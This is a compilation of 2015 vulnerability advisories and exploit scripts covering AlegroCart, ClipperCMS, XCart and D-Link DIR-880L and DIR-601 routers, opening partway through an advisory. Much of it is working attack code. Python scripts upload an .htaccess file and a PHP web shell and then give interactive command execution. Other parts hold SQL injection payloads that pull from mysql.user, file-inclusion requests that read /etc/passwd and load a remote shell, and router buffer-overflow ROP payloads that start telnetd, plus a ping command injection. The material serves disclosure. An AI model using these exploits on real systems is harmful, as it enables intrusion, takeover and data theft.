function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){
$result = $this->database->countAffected($this->database->query("update `order` set `order_status_id` = '" . $finalStatusId . "' where `reference` = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'"));
return $result;
}
5. Solution
To mitigate this issue please apply this patch:
http://forum.alegrocart.com/download/file.php?id=1040
Please note that a newer version might already be available.
6. Report Timeline
09/29/2015 Informed Vendor about Issue
17/10/2015 Vendor releases fix
11/13/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-SQL-Injection-104.html
#!/usr/local/bin/python
# Exploit for ClipperCMS 1.3.0 Code Execution vulnerability
# An account is required with rights to file upload (eg a user in the Admin, Publisher, or Editor role)
# The server must parse htaccess files for this exploit to work.
# Curesec GmbH crt@curesec.com
import sys
import re
import requests # requires requests lib
if len(sys.argv) != 4:
exit("usage: python " + sys.argv[0] + " http://example.com/ClipperCMS/ admin admin")
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
loginPath = "/manager/processors/login.processor.php"
fileManagerPath = "/manager/index.php?a=31"
def login(requestSession, url, username, password):
postData = {"ajax": "1", "username": username, "password": password}
return requestSession.post(url, data = postData, headers = {"referer": url})
def getFullPath(requestSession, url):
request = requestSession.get(url, headers = {"referer": url})
if "You don't have enough privileges" in request.text:
return "cant upload"
fullPath = re.search("var current_path = '(.*)';", request.text)
return fullPath.group(1)
def upload(requestSession, url, fileName, fileContent, postData):
filesData = {"userfile[0]": (fileName, fileContent)}
return requestSession.post(url, files = filesData, data = postData, headers = {"referer": url})
def workingShell(url, fullPath):
return fullPath.strip("/") in requests.get(url + "pwd", headers = {"referer": url}).text.strip("/")
def runShell(url):
print("enter command, or enter exit to quit.")
command = raw_input("$ ")
while "exit" not in command:
print(requests.get(url + command).text)
command = raw_input("$ ")
requestSession = requests.session()
loginResult = login(requestSession, url + loginPath, username, password)
if "Incorrect username" in loginResult.text:
exit("ERROR: Incorrect username or password")
else:
print("successful: login as " + username)
fullPath = getFullPath(requestSession, url + fileManagerPath)
if fullPath == "cant upload":
exit("ERROR: user does not have required privileges")
else:
print("successful: user is allowed to use file manager. Full path: " + fullPath)
uploadResult = upload(requestSession, url + fileManagerPath, ".htaccess", "AddType application/x-httpd-php .png", {"path": fullPath})
if "File uploaded successfully" not in uploadResult.text:
exit("ERROR: could not upload .htaccess file")
else:
print("successful: .htaccess upload")
uploadResult = upload(requestSession, url + fileManagerPath, "404.png", "<?php passthru($_GET['x']) ?>", {"path": fullPath})
if "File uploaded successfully" not in uploadResult.text:
exit("ERROR: could not upload shell")
else:
print("successful: shell upload. Execute commands via " + url + "404.png?x=<COMMAND>")
if workingShell(url + "404.png?x=", fullPath):
print("successful: shell seems to be working")
else:
exit("ERROR: shell does not seem to be working correctly")
runShell(url + "404.png?x=")
#Blog Reference:
#http://blog.curesec.com/article/blog/ClipperCMS-130-Code-Execution-Exploit-96.html
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: ClipperCMS 1.3.0
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://www.clippercms.com/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 10/02/2015
Disclosed to public: 11/13/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
There are multiple SQL Injection vulnerabilities in ClipperCMS 1.3.0.
An account with the role "Publisher" or "Administrator" is needed to exploit
each of these vulnerabilities.
3. SQL Injection 1 (Blind)
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
The id parameter of the web user editor is vulnerable to blind SQL Injection.
To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.
Proof of Concept
http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1 AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23
-> true
http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1 AND IF(SUBSTRING(version(), 1, 1)='4',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23
-> false
Code
/manager/actions/mutate_web_user.dynamic.php
$sql = "SELECT * FROM $dbase.`".$table_prefix."web_groups` where webuser=".$_GET['id']."";
4. SQL Injection 2
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When updating a user, the newusername parameter is vulnerable to SQL injection.
To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.
Proof of Concept
POST /ClipperCMS-clipper_1.3.0/manager/index.php?a=32 HTTP/1.1
mode=12&id=3&blockedmode=0&stay=&oldusername=testtest
&newusername=testtest' or extractvalue(1,concat(0x7e,(SELECT concat(user) FROM mysql.user limit 0,1))) -- -
&newpassword=0&passwordgenmethod=g&specifiedpassword=&confirmpassword=&passwordnotifymethod=s&fullname=&email=foo3%40example.com&oldemail=foo3%40example.com&role=2&phone=&mobilephone=&fax=&state=&zip=&country=&dob=&gender=&comment=&failedlogincount=0&blocked=0&blockeduntil=&blockedafter=&manager_language=english&manager_login_startup=&allow_manager_access=1&allowed_ip=&manager_theme=&filemanager_path=&upload_images=&default_upload_images=1&upload_media=&default_upload_media=1&upload_flash=&default_upload_flash=1&upload_files=&default_upload_files=1&upload_maxsize=&which_editor=&editor_css_path=&rb_base_dir=&rb_base_url=&tinymce_editor_theme=&tinymce_custom_plugins=&tinymce_custom_buttons1=&tinymce_custom_buttons2=&tinymce_custom_buttons3=&tinymce_custom_buttons4=&tinymce_css_selectors=&photo=&save=Submit+Query
Code
/manager/processors/save_user_processor.php
$sql = "UPDATE " . $modx->getFullTableName('manager_users') . "
SET username='$newusername'" . $updatepasswordsql . "
WHERE id=$id";
5. SQL Injection 3
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When updating a user, the country, role, blocked, blockeduntil, blockedafter,
failedlogincount, and gender parameter are vulnerable to SQL injection.
To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.
Proof of Concept
The proof of concepts for the country, role, blocked, blockeduntil,
failedlogincount, and blockedafter parameter are analog to this POC for gender:
POST /ClipperCMS-clipper_1.3.0/manager/index.php?a=32 HTTP/1.1
mode=12&id=3&blockedmode=0&stay=&oldusername=testtest&newusername=testtest&newpassword=0&passwordgenmethod=g&specifiedpassword=&confirmpassword=&passwordnotifymethod=s&fullname=&email=foo6%40example.com&oldemail=foo3%40example.com&role=2&phone=&mobilephone=&fax=&state=&zip=&country=&dob=
&gender=2', fax=(SELECT concat(user) FROM mysql.user limit 0,1), dob='0
&comment=&failedlogincount=0&blocked=0&blockeduntil=&blockedafter=&manager_language=english&manager_login_startup=&allow_manager_access=1&allowed_ip=&manager_theme=&filemanager_path=&upload_images=&default_upload_images=1&upload_media=&default_upload_media=1&upload_flash=&default_upload_flash=1&upload_files=&default_upload_files=1&upload_maxsize=&which_editor=&editor_css_path=&rb_base_dir=&rb_base_url=&tinymce_editor_theme=&tinymce_custom_plugins=&tinymce_custom_buttons1=&tinymce_custom_buttons2=&tinymce_custom_buttons3=&tinymce_custom_buttons4=&tinymce_css_selectors=&photo=&save=Submit+Query
Visiting the overview page of that user will show the result of the injected
query.
Code
/manager/processors/save_user_processor.php
$sql = "UPDATE " . $modx->getFullTableName('user_attributes') . "
SET fullname='$fullname', role='$roleid', email='$email', phone='$phone',
mobilephone='$mobilephone', fax='$fax', zip='$zip', state='$state',
country='$country', gender='$gender', dob='$dob', photo='$photo', comment='$comment',
failedlogincount='$failedlogincount', blocked=$blocked, blockeduntil=$blockeduntil,
blockedafter=$blockedafter
WHERE internalKey=$id";
6. Solution
This issue has not been fixed by the vendor.
7. Report Timeline
10/02/2015 Informed Vendor about Issue (no reply)
10/21/2015 Reminded Vendor of Disclosure Date (no reply)
11/13/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/ClipperCMS-130-SQL-Injection-99.html
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: AlegroCart 1.2.8
Fixed in: Patch AC128_fix_22102015
Path Link: http://forum.alegrocart.com/download/file.php?id=1047
Vendor Website: http://alegrocart.com/
Vulnerability Type: LFI/RFI
Remote Exploitable: Yes
Reported to vendor: 09/29/2015
Disclosed to public: 11/13/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description
When retrieving logs, there are no checks on the given file_path Parameter.
Because of this, local or remote files can be included, which are then executed
or printed.
Admin credentials are required to view logs.
3. Proof of Concept
Remote File:
POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 441
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"
error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"
http://localhost/shell.php
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"
0
-----------------------------16809437203643590021165278222--
Local File:
POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 425
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"
error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"
/etc/passwd
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"
0
-----------------------------16809437203643590021165278222--
For the patches AC128_fix_13102015 and AC128_fix_17102015 the following attack
strings were still working:
http://localhost/shell.php?x=ls&foo=/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/
/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/../../../../../../../etc/passwd
4. Code
/ upload/admin2/controller/report_logs.php
function get_file(){
$file = '';
if($this->request->gethtml('file_path', 'post')){
$file = file_get_contents($this->request->gethtml('file_path', 'post'));
}
if($this->request->gethtml('decrytion', 'post')){
$file = $this->ccvalidation->deCrypt($file, $this->config->get('config_token'));
}
if($file){
$file = str_replace(array("\r\n", "\r", "\n"),'<br>', $file);
}
return $file;
}
5. Solution
To mitigate this issue please apply this patch:
TODO
Please note that a newer version might already be available.
6.. Report Timeline
09/29/2015 Informed Vendor about Issue
11/03/2015 Vendor releases fix
11/13/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html
## Advisory Information
Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities.
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.
## Details
Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
#Currently the address of exit function in libraray used as $PC
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220
buf+= "\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
## Advisory Information
Title: DIR-601 Command injection in ping functionality
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR601 -- Wireless N150 Home Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 1 security issue in DIR601 firmware which allows an attacker to exploit command injection in ping functionality. The user needs to be logged in. After that any attacker on wireless LAN or if mgmt interface is exposed on Internet then an internet attacker can execute the attack. Also XSRF can be used to trick administrator to exploit it.
## Details
Command injection in dir-601
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
# CMD_INJECTION_INPINGTEST
# Just need user to be logged in and nothing else
buf = "POST /my_cgi.cgi HTTP/1.0\r\n"
buf+="HOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nAccept-Encoding:gzip,deflate,sdch\r\nAccept-Language:en-US,en;q=0.8\r\nContent-Length:101\r\n\r\n"
buf+="request=ping_test&admin3_user_name=admin1;echo admin > /var/passwd1;test&admin4_user_pwd=admin2&user_type=0"+"\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP_ADDRESS", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
#!/usr/local/bin/python
# Exploit for XCart 5.2.6 Code Execution vulnerability
# An admin account is required to use this exploit
# Curesec GmbH
import sys
import re
import requests # requires requests lib
if len(sys.argv) != 4:
exit("usage: python " + sys.argv[0] + " http://example.com/xcart/ admin@example.com admin")
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
loginPath = "/admin.php?target=login"
fileManagerPath = "/admin.php?target=logo_favicon"
shellFileName = "404.php"
shellContent = "GIF89a;<?php passthru($_GET['x']); ?>"
def login(requestSession, url, username, password):
csrfRequest = requestSession.get(url)
csrfTokenRegEx = re.search('name="xcart_form_id" type="hidden" value="(.*)" class', csrfRequest.text)
csrfToken = csrfTokenRegEx.group(1)
postData = {"target": "login", "action": "login", "xcart_form_id": csrfToken, "login": username, "password": password}
loginResult = requestSession.post(url, data = postData).text
return "Invalid login or password" not in loginResult
def upload(requestSession, url, fileName, fileContent):
csrfRequest = requestSession.get(url)
csrfTokenRegEx = re.search('SimpleCMS" />\n<input type="hidden" name="xcart_form_id" value="(.*)" />', csrfRequest.text)
csrfToken = csrfTokenRegEx.group(1)
filesData = {"logo": (fileName, fileContent)}
postData = {"target": "logo_favicon", "action": "update", "page": "CDev\SimpleCMS", "xcart_form_id": csrfToken}
uploadResult = requestSession.post(url, files = filesData, data = postData)
return "The data has been saved successfully" in uploadResult.text
def runShell(url):
print("enter command, or enter exit to quit.")
command = raw_input("$ ")
while "exit" not in command:
print(requests.get(url + command).text.replace("GIF89a;", ""))
command = raw_input("$ ")
requestSession = requests.session()
if login(requestSession, url + loginPath, username, password):
print("successful: login")
else:
exit("ERROR: Incorrect username or password")
if upload(requestSession, url + fileManagerPath, shellFileName, shellContent):
print("successful: file uploaded")
else:
exit("ERROR: could not upload file")
runShell(url + shellFileName + "?x=")
Blog Reference:
http://blog.curesec.com/article/blog/XCart-526-Code-Execution-Exploit-87.html